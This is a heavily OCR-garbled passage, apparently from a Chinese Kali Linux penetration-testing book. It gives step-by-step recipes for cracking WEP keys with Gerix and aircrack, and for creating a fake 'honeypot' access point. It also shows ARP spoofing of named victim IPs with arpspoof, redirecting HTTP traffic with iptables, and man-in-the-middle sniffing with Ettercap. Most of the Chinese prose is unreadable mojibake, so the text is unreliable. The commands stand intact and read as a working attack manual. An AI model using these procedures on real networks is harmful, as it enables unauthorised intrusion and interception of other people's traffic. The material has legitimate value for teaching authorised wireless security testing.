b9 WPA #fi# T B2 — o AirCrack i i WPA & EH GO X T/ e AT ER
AT BB R AR WPA I B AL o &A1 B % AirCrack e #F KN ZFE T R4 - T
@ ZAMEKR T MAC ik » XA FERAME R LM L6 Gy » XG4 airodump 4 E T A
M REMG R F o —LEMNKB THAEXFOMEL » EAVEA aireplay kKRNI E 5
SE 2R R ZE G MAC 33k X8k o RATRBMER T —RAE » LERNHBE R
CAP Uk RAF X EA o

9.3 £ 4& M % B FH1L oL A7

IAFLEE &A1 448 A Gerix 3 £ &M &35 A #h1b  Gerix £AirCrack#y & # 1% GUI » Gerix
T E £ Kali Linux & 0 3F L4849 hoik KA1 69 £ A M & ok AR A2 o

%
AT HITRABS T 945 B EKali ZRT 0 2% - LFEZ LHORESHEER

T RATHEEAN  EREARFOOFTF > HEEAFGRINREH G IBCEAZ AT LT
BRI ERT -

BAE 3

L RAVF4E 180 Gerix #ATA AL L AR BHEE - BRTHE



1. & wget » 15 T @89 M sk T & Gerix :

wget https://bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/ downloads/gerix-wifi-c
racker-master.rar

2. IHTHAFZE » £NF LK RAR TH F = £k -
unrar x gerix-wifi-cracker-master.ra
3. LA TREHF - EEAN Gerix X £AFHEF| /usr/share B E T » o LB
FMRX T A B —Ae o
mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker
4. 1EHAV7 ] Gerix AT B %

cd /usr/share/gerix-wifi-cracker

5. BN T 7|44 %k 2B % Gerix :

python gerix.py

Welcome | Configuration | WEP | WPa | Fake &P | Cracking | Database | Credits |

Hello and Welcome!

Gerix Wifi Cracker 15 a GUI that can help you to work in Wireless 802.11 Penetration Test
Created by Emanuele emgent Gentili and Emanuele crossbower Acr. The tool s under GPL 2
License

enjoy!

IIG::H:!E - database refoaded: froot) geric-wifi-cracker/key-database.db [ ess]

6. ® i configuration (B E) HRZEW o



10.

11.

12.

13.

14.

15.

16.

17.

18.

19.

20.

21.

22.

f£ configuration A& W F » HAFMREGE&RIED o
& Enable/Disable Monitor Mode (FFRB/MFIEWIEBZEN) H4a o

BEBEBERNRB#HZ)E » £ select Target Network (Z#FEBAEME) Tom o &
# Rescan Networks (ZHIaRM% ) 42 o

BARM %I RS o BPFREMEFA B IR o BE » KA1 EHFET WEP oM % o

& & WEP 42 & W ©

Welcome | Configuration | WEP |wm | Fake A2 | Cracking | Database | Credits
Welcome in WEP Attacks Control Panel
General functionalities

~Functionalities

Start Sniffing and Logging |

Tests

Performs a test of injection AP |

A Functionalities (ZIéE) F ° &F start Sniffing and Logging (FF B KA 125k )
%44 o

& WEP Attacks (No client) (WEP &X# LEF#) FARER o

B i start false access point authentication on victim (ﬂ‘fg BAr E&gfhidE A 25
TE) 48 o

B i start the ChopChop attack <5‘f‘flé‘ﬁﬁé’iiiﬂi‘) %41 o
LATFF &% EF o F » 2 use this packet (XA E) FIAEE v o
TRZ G » B £ s .cap X o

B i Create the ARP packet to be injected on the victim access point <€‘J§$&)\§‘J 3]
AR BE ARP 3 &) 4248 o

% i Inject the created packet on victim access point (A§F@IZZ &3 Lz A F] B AN
&) 4 o

AT &% F 0 » 5t use this packet FIAAEA y o

MKET K4 20000 M4 26 » & cracking (BMR) AT o
A Aircrack-ng - Decrypt WEP Password (AF% WEP %) %42 o

BIRERT o



TR A

EAFLEE P » KAVEA T Gerix k 8 LB LA M & > H RIF WEP F45 o A1ARB 3
Gerix # 1B W 4EAE X3 0 kB XA o T » KA1 G Gerix 4L & B Ar 697 & F
BAFRMNGBAF o £RNFBLRIEMLGAEZE » £A11E A Chop Chop k& s CAP L o
AKAVIB LB 20000 N3F 65848 A AirCrack & 7 A f# CAP SUH#F 5k 48 RE AL -

1£ A Gerix » &A1489% A Wlﬁ@iﬁ% WEP B FH » MR FEFHLELF T O PGS -
75"‘%‘}’3]5 % 7}’*‘6/773‘5\ s RE9% B rj)o'(i’@ﬁ)iﬁ% WEP #4m 28 6 W 4% o

9.4 1 AN S EBER P 3

TAFLEE P s K112 Gerix R EHABXREHEHEAL (AP) o B HEHEA LRI
BRKEFNEFECHTEIGRE E c AMNBF LA TRA Mindtaed o  EEIFREEEAN
B R AFAG BTG s REZI AT ML P IEF H1E - Gerix & AirCrack # 8 #1t

GUI -

A%
ATHATEAREFOES » FEKAli L BF R % LFEXIFOREFHLEEAN

Fo ATHEEN  EREMFOB TP » HELEAFGRIAZEN G KRB CEAZIRXNFT T
BRI EETP o

B B
1L EAVTH4E1E A Gerix @176 AP o

1. £ & A15 9 Gerix AT 289 B % -

cd /usr/share/gerix-wifi-cracker

2. AEXNT @e a4 k1% A Gerix :

python gerix.py



Welcome | Configuration | WEP | WPA | Fake AP | Cracking | Database | Credits

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test
Created by Emanuele "emgent” Gentili and Emanuele “crossbower™ Acri, The tool is under GPL 2
License

enjoy!

20:33:56 - database reloaded: froot/.genx-wifi-cracker/key-database.db [Success]

% & configuration (BLE) #RZEW o
f£ configuration A& W F » HAFMREG L&D o
& & Enable/Disable Monitor Mode (FFRB/MFIEWIEREN) 44m o

EBEREX B HZJE » /£ select Target Network (#HIFBIEMZ) T &
i Rescan Networks (ZHaRM% ) 42 o

B AR W 46 80 ) R AL o AR AP S A B AR o B > K145 T WEP A B 8 M % o

B Fake AP (PHEHEANR) IREW o



Welcome |Eonﬁgurahm |WEP | WPA | Fake AP |crackmg 1 Database | Credits |

Welcome in Fake Access Point Control Panel
Create Fake AP

Access point ESSID:

| honeypot
Access point channel:

[12

Cryptography tags | Key in Hex (Ex. aabbccddee) or Empty:
[T WEP & None  WPA  WPA2

_ |aabhccddee

WPA/WPAZ types
* WEP40 - TEIP T WRAP i~ CCMP ~ WEP104

- Options
[T AdHoc mode [ Hidden SSID [~ Disable broadcast probes [~ Respond to all probes

Start Fake Access Point ]

9. 157 Access Point ESSID (4 & ESSID) » H% I honeypot 52 A R4 5] Aedr ity 4%
AR o X Z & A14E A personalnetwork ©

Access point ESSID:

Ipﬁmalne{work

10. EC& i ARIN AT HARBHEIEN L » K& start Face Access Point (FF B HhigdE
A R) k42 o

Start Fake Access Point |

RIRERT o

IAE)R 3

BAFAE T > BAVEA T Gerix keI EMEHA R c QIENBHALZ-NFFFHFT X >
RKEZRAGERMPEE c RAZ » X TZEH KWL » CNRAAEFEGEANL  FTEE
1R EHWA PASAE o 42 Gerix » HATT AR B JUR & Hk B LI E AR EHBHEA R o

9.5 URL A E 4.

IAFLEEF » KA1 #4T URL R EHAUAEH c URL AZRAEFTEMTFRRALE » AAK
ML EFEZHEMOAETERALENONE o K414 ARP H1b Rk MATE Ak F - ARP &
A —FFETT > RNV AR P R A IR ARP 12 42 E% - Ki1441 R



arpspoof kAT MAbsE o

BAYEY S
TE KA 4 # 4T URL RS ©
AL BEOARATTERNGTS kB E IP RIEEANEBDFARE

sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

2. T &A1B 3 arpspoof kFILINZ FA EABI BRI X9 AZE o IAMTF > KA1k
By M 4% F] Windows 7 £4L > 33k # 192.168.10.115 ° Arpspoof A — it H » &35 ¢
o i AFENMNKFAARED o X EZKN1EHF wlane ©
o -t AWFRMIBZE B o

}L /l\/\/\ Y&

v arpspoof -i [interface] -t [target IP address] [destination IP address]

sudo arpspoof -i wlan@ -t 192.168.10.115 192.168.10.1

3. #E » BMNIMAT A — A arpspoof 74 » Ea N E—aA B3 (ZELHKIAMX)
BREAE » HAMEAZTE2E R Kali ZAL o ZABFF » £A41469 IP 3k

A& 192.168.10.110 °

sudo arpspoof -i wlan@ -t 192.168.10.1 192.168.10.110
RKBERT o

IAEJR 32

BEAFLEE P > KA1 A arpspoof i iE ARP H#1b kB4 F4 IMBI R G E R GRE - £
B RMH Kali ZAL e —LABHELE » KOART AR FLIATL EHEH > @42 %
%ﬁ#ﬂ:'ﬁg s FRIE A b f]lj M sk o V,(&;,ﬁ\ % o

9.6 5n T Z X W)

BAALLE T » ROV Kali R#ATH 0 T2 @ > L6803 R Rk o st o o E X d i)
BB R AZEEA R T > tde 80 094IE 6, 0 e B ER @B R R 935 2 k> Hide 8080 ©
HRERFOFLIRES » RARTAR AR 0T ERENR DT » REBAETEL
WEAF R AR Z A TR T 0 AREE o



AR B
LR R TR ET G/ -
1. ATFALRE oA PATT A S RRE IP R > RERMNBBHHFAE
sudo echo 1 >> /proc/sys/net/ipva/ip_forward
2. T@ > &A1B 3 arpspoof kFILEAEKINM KGR E o XA FF - HIAF X6 IP ik
A 192.168.10.1 ° Arpspoof A — ik » 35 ¢

o i AWRMEFDFED o LEZRIZF wlane ©

ﬁ‘ﬁ‘/\/\UJT T arpspoof -i [interface] [destination IP address]

sudo arpspoof -i wlan@ 192.168.10.1

3. #£ 0 RNMATH — 4 arpspoof 4 » CaN E—ardeg B a3 (XEAKIAK X)
REVAE » HMEAETLT RN Kali 2 BT+ » &KA1469 IP 3k
75 192.168.10.110 °

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8

080
HRERT o

I AR

BAFLEE T > KA1 A arpspoof i@ & ARP #1tA= IPTables %W » 4 M % £ & 3|55 o 80 8

AEET®EP 8080 c AT KL FNFAIKS » AARTUAR AN RO ELT G A FREN

mT o AABARZELHB I REHRFTHe » URELE

9.7 RIKM %R E

TR » ENETERELAREHRIE MBARE %%&&@#&m%ﬁ@’ el
ZENREBE (wRER) RETHEPHEZE ATREHNEBAOZEKEPIET

AR BABRTATR KM E » RTAE AR A RMAE ~ A P& ~ Babfe e T A A
013 B o

BAVEZAFLEE T 218 A Ettercap » 12 & 4747 ¥A4% I Wireshark ° & T &= B 4 » Ettercap
;ﬁﬁa%ﬂ’*ﬂﬁ? AR PR RRIE o — B 5 e s R T A2 6938 A7 » 1R =T ¥U4% Al Wireshark %k
HAT R m by AT o



A%
IANAMEEEANCEAREFTOLEEAMN T EARARTUAEAARNE LR T % - £ 45
B FHEALT » 3O EATRIEHOLEREAINNST LR BEIGEREP o

BT R
1k &A1 5 %) Ettercap kA4 M &R & 692 4K o

1. AT 435 % 0 B 7 Ettercap ° 1A -6 & GUI :

ettercap -G

= ettercap 0.7.4.1

2. &AVVAATIF unified sniffing (ZL—"R3K) F45 o RT VAR T shift + u AT R E %

P8 sniff | unified sniffing ©°

F * ettercap 0.7.4.1
= I.--I'II Sniff  Options Help

ons Helf

niffing

Unified si

3. BEMBHT o LA MTM KHHHFLF » BN AL RAKNGLE&ED -



* ettercap Input

9 Network interface : (L | v |

| oK | | Cancel

4. T > HA14TH scan for hosts (FFHREM) o TWABILILT ctrl + s RGP EEE

%) Hosts | Scan for hosts ﬁt\%ﬁ&. °

5. T HA14F2] T Host List (EMFE) o BT T 0 KA R ELE

%) Hosts | Host List °

Host List M

IP Address M
10.0.2.2
10.0.2.3

6. RATT @ FZLFRZERN B Az o £RAIH]TF » RATZLIF 102.168.10.111 EHA
£A189 Target 1 AP EEY IP HILH LT add To Target 1 (B BAr 1) &
48 o

ettercap 0.7.4.1

Host List X
IP Address  MAC Address Description . |

FELTEUCT IO U LU rUTorLTor T e

192,168.10.102 00:0D:93:TA:EA:CH
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:50D:29:28:FF
192.168.10.110 00:02:A5:B1:EB:OF
192.168.10.111 08:00:27:17:81:3C

192.168.10.112 08:00:27:19:BD:88
192.168.10.150 00:B80:77:07:80:A3

Deiete Host Add to Target 1 Add to Target 2

55 ports monitored
7587 mac vendor fingerprint 1
1766 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts.
9 hosts added to the hosts list... |




7. A KAAE9%5 L Ettercap FF4RIK T o RTAIET cerl + w R F EEHE

89 start | Start sniffing °

x ettercap 0.7.4.1

Targets Hosts View Mitm  Filte

(9]
9 AHEMYEFIF » BF sniff remote connections ("RIRTAZEE) 89 o

* MITM Attack: ARP Poisoning

= Optional parameters
@ & [Sniff remote connections.|

1 Only poison one-way.

OK ! Cancel

10. BURT M %3 » KA EFEE L -



« ettercap 0.7.4.1

E >

7587 mac vendor fingerprint

1766 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning.
Scanning the whole netmask for 255 hosts..
3 hosts added to the hosts list

Starting Unified sniffing..

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

M. —E&RAMKE TRRZRGEE (AP LFEm) o KA1T X H Ettercap ° 1R T vldz
T ctrl + E RIFFIEE K start | Stop sniffing K ALRE °
x ettercap 0.7.4.

Start T M

IAE)a 3

BAALAE @45 T MITM 3tk » €l i ARP bk 697 i il P R Z 69 R & M %3815 o RATARB
#h Ettercap 42 4 ZAUR AW X AALFE o LG BATA L #ATM %8 ARP &1L - ARP F1L &
—F T AT RRENEN ARP 2 ELRHBMA YT EAL -



AR 3 ER AR 45k ARP HLEF &0 8 E % R4 R o A FIAEM M A PR X
4 AL AR E R S5 0 TR ST A -

EARAAN T AMERAR » BACRKEN A% LGRS L« RATRSRSE  RT
VR BIR P4 ~ B RATIR P AR AR B AR R4 LR IEA 1S B 0 S A
BT VAR F & K 3 09 BhAR o
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